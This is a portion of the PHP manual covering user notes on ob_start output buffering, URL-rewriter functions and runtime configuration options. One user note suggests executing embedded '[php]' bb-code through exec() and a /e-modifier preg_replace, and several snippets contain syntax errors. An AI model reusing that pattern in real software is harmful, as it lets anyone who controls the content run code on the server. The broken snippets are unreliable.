// class CSSCache
//

class CSSCache {
  private $filenames = array();
  private $cwd;

  public function __construct($i_filename_arr) {
    if (!is_array($i_filename_arr))
      $i_filename_arr = array($i_filename_arr);

    $this->filenames = $i_filename_arr;
    $this->cwd = getcwd() . DIRECTORY_SEPARATOR;

    if ($this->style_changed())
      $expire = -72000;
    else
      $expire = 3200;

    header('Content-Type: text/css; charset: UTF-8');
    header('Cache-Control: must-revalidate');
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT');
  }

  public function dump_style() {
    ob_start('ob_gzhandler');

    foreach ($this->filenames as $filename)
      $this->dump_cache_contents($filename);

    ob_end_flush();
  }

    private function get_cache_name($filename, $wildcard = FALSE) {
    $stat = stat($filename);
    return $this->cwd . '.' . $filename . '.' .
      ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache';
  }

  private function style_changed() {
    foreach ($this->filenames as $filename)
      if (!is_file($this->get_cache_name($filename)))
        return TRUE;
    return FALSE;
  }

  private function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);
    $buffer = str_replace('{ ', '{', $buffer);
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
  }

  private function dump_cache_contents($filename) {
    $current_cache = $this->get_cache_name($filename);

    // the cache exists - just dump it
    if (is_file($current_cache)) {
      include($current_cache);
      return;
    }

    // remove any old, lingering caches for this file
    if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE))
      foreach ($dead_files as $dead_file)
        unlink($dead_file);

    $compressed = $this->compress(file_get_contents($filename));
    file_put_contents($current_cache, $compressed);

    echo $compressed;
  }
}

?>
10-Nov-2006 07:34
I'm sure some of you more brilliant minds could pare this down some more, but using the method found at fiftyfoureleven.com  for compressing, I got my 10090-byte stylesheet down to 3536 bytes and then again down to 2713 bytes, by stripping unecessary characters from the stylesheet. 2 ob_start calls and the CSS file is now 73% smaller. YMMV.

<?php
ob_start("ob_gzhandler");
ob_start("compress");
header("Content-type: text/css; charset: UTF-8");
header("Cache-Control: must-revalidate");
$off = 0; # Set to a reaonable value later, say 3600 (1 hr);
$exp = "Expires: " . gmdate("D, d M Y H:i:s", time() + $off) . " GMT";
header($exp);

function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); // remove comments
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer); // remove tabs, spaces, newlines, etc.
    $buffer = str_replace('{ ', '{', $buffer); // remove unnecessary spaces.
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
}

require_once('screen.css');
require_once('layout.css');
require_once('custom.php');
require_once('titles.css');
require_once('bus.css');

?>
feedback at realitymedias dot com 08-Nov-2006 12:35
PHP Suggests: Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by doing, for example, the following in the callback function: chdir(dirname($_SERVER['SCRIPT_FILENAME']))

The solution provided by PHP, does not function as intended when running PHP as a CGI (on CGI mode (CGI-BUILD (--enable-cgi) and/or CLI)).  In such a case, PHP is executed as a CGI-BIN and the web server daemon (e.g. Apache) sees SCRIPT_FILENAME as being the PHPCGI processor, and won't look deeper to find what file the PHPCGI processor is actually running/parsing; therefore the path returned by SCRIPT_FILENAME is wrong (most of the time, containing/ending with "cgi-system/php.cgi").

As SCRIPT_FILENAME is the safest way to proceed, but turns to be wrong in this exact situation; PATH_TRANSLATED is the next safe solution one would turn towards since it is populated with a different mechanism.

It would be correct to develop in the direction if the script filename itself is contained in the SCRIPT_FILENAME path value, then the SCRIPT_FILENAME content is reported correctly. If it is not, using PATH_TRANSLATED is the next logical choice we can use. The best reference in this case would be PHP_SELF as it is populated by PHP itself. Using SCRIPT_NAME as a reference would be an error as it is affected by the same problem (reports cgi-system and/or php.cgi as well).

The following is the revised code and should work on both the non-CGI and the CGI PHP processor types.

<?php
chdir(dirname((strstr($_SERVER["SCRIPT_FILENAME"], $_SERVER["PHP_SELF"])
? $_SERVER["SCRIPT_FILENAME"] : $_SERVER["PATH_TRANSLATED"])));
?>

Or the decomposed code as follows:

<?php
if (strstr($_SERVER["SCRIPT_FILENAME"], $_SERVER["PHP_SELF"])) {
$reference = $_SERVER["SCRIPT_FILENAME"];
} else {
    $reference = $_SERVER["PATH_TRANSLATED"];
}
chdir(dirname($reference);
?>

This has been tested on Apache 1 & 2, PHP 4 & 5 and IIS 5.1
butch at enterpol dot pl 02-Oct-2006 09:04
simple code to make phpsession $_GET nice for Valid XHTML 1.0 Transitional :)

function callback($buffer)
{
  $buffer = str_replace("&PHPSESSID", "&amp;PHPSESSID", $buffer);
  return $buffer;
}

ob_start("callback");

session_start();
net_navard at yahoo dot com 30-May-2006 04:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
simon 24-Jan-2006 05:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
    $this->startBuffer();
}
function startBuffer() {
    ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
    /* simple string concat to show use of a
    template string and the buffer output */
    return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at 08-Jan-2006 06:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();   // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
cyrille.berliat[no spam]free.fr 17-Oct-2005 12:07
If you're trying to use ob_start() in some PHP5 classes (probably works on PHP4 classes), this is the good way :

<?

class HTMLPage
{
//----------------------------------------------------------------- PUBLIC

//----------------------------------------------------- Méthodes publiques

    public static function ConvertIntoSGML( $source )
    // Mode d'emploi :
    //convertit une string en une SGML valide
    //
    // Renvoie :
    //la chaine traitée
    //
    // Algorithme :
    //analyse char par char de la chaine. Si un caractère est de nombre ASCII > 127,
    //conversion en son code SGML.
    {
        $newString = '';

        for( $i = 0; $i < strlen( $source ) ; $i++ ) {
            $o = ord( $source{ $i } );

            $newString .= ( ( $o > 127 ) ? '&#'.$o.';': $source{ $i } );
        }

        return $newString;
    }

    public function FlushSite( $source )
    {
        return $this->ConvertIntoSGML ( $source );
    }

//-------------------------------------------- Constructeurs - destructeur
    function __construct()
    // Mode d'emploi (constructeur) :
    //initialise la buffurisation
    //
    // Contrat :
    //
    {
        ob_start( array (  & $this , 'FlushSite' ) );
    } //---- Fin du constructeur

//------------------------------------------------------ Méthodes Magiques

//------------------------------------------------------------------ PRIVE

}

// Example :

$webdesign = new HTMLPage ( );

echo 'Héllo world'; // Will produce the source 'h&#233;llo world'

?>

Without the & before $this, you'll loose your content because ob_start() will call the flushsite() function from a clone of the object and not the caller object himself.

Note : call_back function must be public because ob_start() is in an extern scope from your class :)

I hope this will help you!
php at bucksvsbytes dot com 16-Sep-2005 07:29
The following should be added: "If outbut buffering is still active when the script ends, PHP outputs it automatically. In effect, every script ends with ob_end_flush()."
admin at bobfrank dot org 28-Aug-2005 05:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
    ob_start();
    exec($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
geoffrey at nevra dot net 09-Aug-2005 09:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 04:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
    {
    $GLOBALS['output'] .= $buffer;
    return "C ";
    }

// Calls the printE() function with output capture
function captureE()
    {
    ob_start("capture");
    printE();
    ob_end_flush();
    }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
    { // (End header after this line) ?>
E
    <?php // (Start footer with this line)
    }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com 08-Jul-2005 02:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey 25-May-2005 09:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
    $output = ob_get_contents();
    ob_end_clean();

    $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
    echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
jds1509 at NOSPAMrit dot edu 24-May-2005 04:06
This code demonstrates the affect of providing a value to the chunk_size parameter. A value of 1 or 0 will be ignored by php. Here's the Code:

<?

function callback($buffer)
{
    return "TRAPPED:".$buffer."<br/>";
}

ob_start("callback",2);

echo "long string, so callback";
echo "X";
echo " - no callback, less than 2 chars";

?>newlines,
but
no
callback
!<?

// PHP block

?>PHP block initiates callback.<?

echo "One more callback at EOF...";

?>

The code above outputs:

TRAPPED:long string, so callback
TRAPPED:X - no callback, less than 2 chars
TRAPPED:newlines, but no callback !
TRAPPED:PHP block initiates callback.
TRAPPED:One more callback at EOF...
TRAPPED:
rafa dot chacon at factorydea dot com 10-May-2005 11:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
        $usermail_unsuscribe = $usermail[$i];
        ob_start();
        include("email_template.php");
        ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
JM 08-May-2005 09:17
I don't claim to understand this--I would have expected the exact opposite--but it seems that
  ob_start() ... ob_end_flush()
can massively improve perfomance, by at least a factor of 10 (admittedly a small number of samples).

I tried this after discovering that I could move a large (100ms) bottleneck in one of my scripts into
   echo "<!-- about 40 characters of junk -->";
which clearly shouldn't have taken long to run.

My unfounded theory is that without buffering, the interaction between PHP4.3.4 and Apache is not optimized, whereas with buffering, PHP delivers the entire page at once, which Apache handles better.

I should add that this is under https.
Ray Paseur (Paseur ... ImagineDB.com) 01-Mar-2005 10:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
eddie 13-Feb-2005 05:09
I use this function for deleting not needed characters within the html code before sending the whole stuff to the browser.

function callback($buffer){
    $buffer = str_replace("\n", "", $buffer);
    $buffer = str_replace("\t", "", $buffer);
    $buffer = str_replace(chr(13), "", $buffer);
    $buffer = ereg_replace("<!\-\- [\/\ a-zA-Z]* \-\->", "", $buffer);
    return $buffer;
}

First str_replace will delete any newlines, second any tabs and the third any carriage return. Finally the regular expression will delete any html-comment which consists of /, space, a-z or A-Z.
Using this saves about 1kb on every pageload.
FB 02-Feb-2005 03:59
I've noticed a bug with MSIE for non cached contents if your page is less than 4096 octets : you have to refresh the page each time to view its content !

Here is the solution to prevent this stupid behaviour of MSIE : just insert this code at the top of your scripts :

function ob_callback($buffer)
{
    return $buffer . str_repeat(' ', max(0, 4097 - strlen($buffer)));
}

ob_start('ob_callback');
aaron at offtone.com 14-Nov-2004 02:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
dev at kiwicore dot org 28-Oct-2004 10:49
I wanted to do things a very particular way with output buffering and shutdown functions; using register_shutdown_function instead of the built in callback feature of this function. However, one should note that this won't work, because the contents of the buffer are no longer in scope when PHP is calling the shutdown functions. This would have been easy to see EXCEPT that PHP graciously flushes any unsent buffers at the end of the script, or when calling exit. So:

<?php
    ob_start();
    echo 'hi';
    exit;
?>

Prints "hi". In a nutshell, if you want it to have a shutdown function that handles an output buffer, just specify it in ob_start() and let PHP automatically call it at the end of the script.
jkloss at hotmail dot com 17-Mar-2004 04:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr 10-Mar-2004 06:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
ed.oohay (a) suamhcs_rodnan 22-Nov-2003 02:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

    ob_start();              // start output buffer 1
    echo "a";                // fill ob1

        ob_start();              // start output buffer 2
        echo "b";                // fill ob2
        $s1 = ob_get_contents(); // read ob2 ("b")
        ob_end_flush();          // flush ob2 to ob1

    echo "c";                // continue filling ob1
    $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
    ob_end_flush();          // flush ob1 to browser

    // echoes "b" followed by "abc", as supposed to:
    echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
venky_athome at yahoo dot com 17-Jan-2003 06:58
IE 55. sp2 and IE6 as on the date of adding this note have problems with content type gzip and caching http headers. The pages are never cached. I think this combination of http headers can also crash the browser.

see http://support.microsoft.com/default.aspx?scid=kb;en-us;321722
05-Dec-2002 09:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com 08-Aug-2002 12:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP


Add URL rewriter values

  • « ob_start
  • output_reset_rewrite_vars »
  • PHP Manual
  • Output Control Functions
  • Add URL rewriter values

output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5)

output_add_rewrite_var — Add URL rewriter values

Description

bool output_add_rewrite_var ( string $name , string $value )

This function adds another name/value pair to the URL rewrite mechanism. The name and value will be added to URLs (as GET parameter) and forms (as hidden input fields) the same way as the session ID when transparent URL rewriting is enabled with session.use_trans_sid. Please note that absolute URLs (http://example.com/..) aren't rewritten.

This function's behavior is controlled by the url_rewriter.tags php.ini parameter.

Note: Calling this function will implicitly start output buffering if it is not active already.

Parameters

name

The variable name.

value

The variable value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 output_add_rewrite_var() example

<?php
output_add_rewrite_var('var', 'value');

// some links
echo '<a href="file.php">link</a>
<a href="http://example.com">link2</a>';

// a form
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

The above example will output:

<a href="file.php?var=value">link</a>
<a href="http://example.com">link2</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

See Also

  • output_reset_rewrite_vars() - Reset URL rewriter values
  • ob_flush() - Flush (send) the output buffer
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

Anonymous 20-Oct-2008 06:16
For a completely valid XHTML document you have to set the arg_separator, use this before you use output-add-rewrite-var:

<?php
ini_set('arg_separator.input', '&');
ini_set('arg_separator.output', '&');
?>
Niko 24-Feb-2008 10:58
This function also adds a parameter to <input type="image"> fields!

Example:
This code:

<?
output_add_rewrite_var ('var','value');
echo '<form action="" method="post">
        <input type="image" src="image.jpg" alt="go">
        </form>';
?>

will output something like this:

<form action="" method="post">
        <input type="hidden" name="var" value="value">
        <input type="image" src="image.jpg?var=value" alt="go">
        </form>
Bruce 06-Sep-2007 04:54
Just to clarify...

session.use_trans_sid does NOT need to be enabled in order for output_add_rewrite_var() to work.


Reset URL rewriter values

  • « output_add_rewrite_var
  • PHP Options/Info »
  • PHP Manual
  • Output Control Functions
  • Reset URL rewriter values

output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5)

output_reset_rewrite_vars — Reset URL rewriter values

Description

bool output_reset_rewrite_vars ( void )

This function resets the URL rewriter and removes all rewrite variables previously set by the output_add_rewrite_var() function or the session mechanism (if session.use_trans_sid was set on session_start()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 output_reset_rewrite_vars() example

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">link</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">link</a>';
?>

The above example will output:

<a href="file.php?PHPSESSID=xxx&var=value">link</a>
<a href="file.php">link</a>

See Also

  • output_add_rewrite_var() - Add URL rewriter values
  • ob_flush() - Flush (send) the output buffer
  • ob_list_handlers() - List all output handlers in use
  • session_start() - Start new or resume existing session

User Contributed Notes

There are no user contributed notes for this page.


PHP Options and Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • PHP Options/Info Functions
    • assert_options — Set/get the various assert flags
    • assert — Checks if assertion is FALSE
    • cli_get_process_title — Returns the current process title
    • cli_set_process_title — Sets the process title
    • dl — Loads a PHP extension at runtime
    • extension_loaded — Find out whether an extension is loaded
    • gc_collect_cycles — Forces collection of any existing garbage cycles
    • gc_disable — Deactivates the circular reference collector
    • gc_enable — Activates the circular reference collector
    • gc_enabled — Returns status of the circular reference collector
    • get_cfg_var — Gets the value of a PHP configuration option
    • get_current_user — Gets the name of the owner of the current PHP script
    • get_defined_constants — Returns an associative array with the names of all the constants and their values
    • get_extension_funcs — Returns an array with the names of the functions of a module
    • get_include_path — Gets the current include_path configuration option
    • get_included_files — Returns an array with the names of included or required files
    • get_loaded_extensions — Returns an array with the names of all modules compiled and loaded
    • get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc
    • get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime
    • get_required_files — Alias of get_included_files
    • getenv — Gets the value of an environment variable
    • getlastmod — Gets time of last page modification
    • getmygid — Get PHP script owner's GID
    • getmyinode — Gets the inode of the current script
    • getmypid — Gets PHP's process ID
    • getmyuid — Gets PHP script owner's UID
    • getopt — Gets options from the command line argument list
    • getrusage — Gets the current resource usages
    • ini_alter — Alias of ini_set
    • ini_get_all — Gets all configuration options
    • ini_get — Gets the value of a configuration option
    • ini_restore — Restores the value of a configuration option
    • ini_set — Sets the value of a configuration option
    • magic_quotes_runtime — Alias of set_magic_quotes_runtime
    • main — Dummy for main
    • memory_get_peak_usage — Returns the peak of memory allocated by PHP
    • memory_get_usage — Returns the amount of memory allocated to PHP
    • php_ini_loaded_file — Retrieve a path to the loaded php.ini file
    • php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir
    • php_logo_guid — Gets the logo guid
    • php_sapi_name — Returns the type of interface between web server and PHP
    • php_uname — Returns information about the operating system PHP is running on
    • phpcredits — Prints out the credits for PHP
    • phpinfo — Outputs information about PHP's configuration
    • phpversion — Gets the current PHP version
    • putenv — Sets the value of an environment variable
    • restore_include_path — Restores the value of the include_path configuration option
    • set_include_path — Sets the include_path configuration option
    • set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime
    • set_time_limit — Limits the maximum execution time
    • sys_get_temp_dir — Returns directory path used for temporary files
    • version_compare — Compares two "PHP-standardized" version number strings
    • zend_logo_guid — Gets the Zend guid
    • zend_thread_id — Returns a unique identifier for the current thread
    • zend_version — Gets the version of the current Zend engine

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This functions enable you to get a lot of information about PHP itself, e.g. runtime configuration, loaded extensions, version and much more. You'll also find functions to set options for your running PHP. The probably best known function of PHP - phpinfo() - can be found here.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PHP Options/Inf Configuration Options
Name | Default | Changeable | Changelog
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL |
enable_dl | "1" | PHP_INI_SYSTEM | This deprecated feature will certainly be removed in the future.
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR | Available since PHP 4.3.0.
max_input_nesting_level | "64" | PHP_INI_PERDIR | Available since PHP 4.4.8 and PHP 5.2.3.
max_input_vars | 1000 | PHP_INI_PERDIR | Available since PHP 5.3.9.
magic_quotes_gpc | "1" | PHP_INI_PERDIR | PHP_INI_ALL in PHP <= 4.2.3. Removed in PHP 5.4.0.
magic_quotes_runtime | "0" | PHP_INI_ALL | Removed in PHP 5.4.0.
zend.enable_gc | "1" | PHP_INI_ALL | Available since PHP 5.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

assert.active boolean

Enable assert() evaluation.

assert.bail boolean

Terminate script execution on failed assertions.

assert.warning boolean

Issue a PHP warning for each failed assertion.

assert.callback string

user function to call on failed assertions

assert.quiet_eval boolean

Use the current setting of error_reporting() during assertion expression evaluation. If enabled, no errors are shown (implicit error_reporting(0)) while evaluation. If disabled, errors are shown according to the settings of error_reporting()

enable_dl boolean

This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory.

The main reason for turning dynamic loading off is security. With dynamic loading, it's possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it's always impossible to use dl().

max_execution_time integer

This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0.

The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details.

You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini.

Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.

max_input_time integer

This sets the maximum time in seconds a script is allowed to parse input data, like POST and GET. Timing begins at the moment PHP is invoked at the server and ends when execution begins.

max_input_nesting_level integer

Sets the max nesting depth of input variables (i.e. $_GET, $_POST..)

max_input_vars integer

How many input variables may be accepted (limit is applied to $_GET, $_POST and $_COOKIE superglobal separately). Use of this directive mitigates the possibility of denial of service attacks which use hash collisions. If there are more input variables than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.

magic_quotes_gpc boolean
Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically.

Note:

In PHP 4, also $_ENV variables are escaped.

Note:

If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NUL's will remain untouched and unescaped.

See also get_magic_quotes_gpc()

magic_quotes_runtime boolean
Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash.

Functions affected by magic_quotes_runtime (does not include functions from PECL):

  • get_meta_tags()
  • file_get_contents()
  • file()
  • fgets()
  • fwrite()
  • fread()
  • fputcsv()
  • stream_socket_recvfrom()
  • exec()
  • system()
  • passthru()
  • stream_get_contents()
  • bzread()
  • gzfile()
  • gzgets()
  • gzwrite()
  • gzread()
  • exif_read_data()
  • dba_insert()
  • dba_replace()
  • dba_fetch()
  • ibase_fetch_row()
  • ibase_fetch_assoc()
  • ibase_fetch_object()
  • mssql_fetch_row()
  • mssql_fetch_object()
  • mssql_fetch_array()
  • mssql_fetch_assoc()
  • mysqli_fetch_row()
  • mysqli_fetch_array()
  • mysqli_fetch_assoc()
  • mysqli_fetch_object()
  • pg_fetch_row()
  • pg_fetch_assoc()
  • pg_fetch_array()
  • pg_fetch_object()
  • pg_fetch_all()
  • pg_select()
  • sybase_fetch_object()
  • sybase_fetch_array()
  • sybase_fetch_assoc()
  • SplFileObject::fgets()
  • SplFileObject::fgetcsv()
  • SplFileObject::fwrite()

zend.enable_gc boolean

Enables or disables the circular reference collector.

User Contributed Notes

Anonymous 03-Feb-2014 12:40
The max_input_vars limit can be overcome by reading the input in raw, i.e.:
<?php
  $sRawInputData= fopen( 'php://input' );
?>
rubo77 28-Sep-2013 07:20
I think it is important to mention that some distributions apply bugfixes for older versions so "Available since PHP 5.3.9" is not reliable, for example:
debian squeeze implemented the directive max_input_vars in PHP 5.3.3-7+squeeze7 (see http://ftp-master.metadata.debian.org/changelogs/main/p/php5/php5_5.3.3-7+squeeze17_changelog )
horst at pepperzak.com 19-May-2011 03:17
Caution: Although magic_quotes_gpc is flagged as dreprecated the default value is still "ON". So you will explicitly have to put

magic_quotes_gpc = Off

into your php.ini. Commeting out the magic_quotes_gpc-line will not turn magic_quotes_gpc off.


Predefined Constants

The constants below are always available as part of the PHP core.

Pre-defined phpcredits() constants
Constant | Value | Description
CREDITS_GROUP | 1 | A list of the core developers
CREDITS_GENERAL | 2 | General credits: Language design and concept, PHP authors and SAPI module.
CREDITS_SAPI | 4 | A list of the server API modules for PHP, and their authors.
CREDITS_MODULES | 8 | A list of the extension modules for PHP, and their authors.
CREDITS_DOCS | 16 | The credits for the documentation team.
